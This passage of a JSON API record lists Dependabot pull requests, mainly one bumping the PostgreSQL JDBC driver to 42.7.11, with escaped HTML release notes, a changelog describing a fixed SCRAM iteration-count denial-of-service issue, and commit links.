contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eK...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/orkivar/pull/87","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Forkivar/issues/87","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/87/packages"},{"uuid":"4457218022","node_id":"PR_kwDOAFa5xc7cFNso","number":3048,"state":"open","title":"Bump org.postgresql:postgresql from 42.4.4 to 42.7.11 in /contrib/storage-jdbc","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-15T22:00:00.000Z","updated_at":"2026-05-17T06:26:18.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"org.postgresql:postgresql","old_version":"42.4.4","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":"/contrib/storage-jdbc","ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.4.4 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca 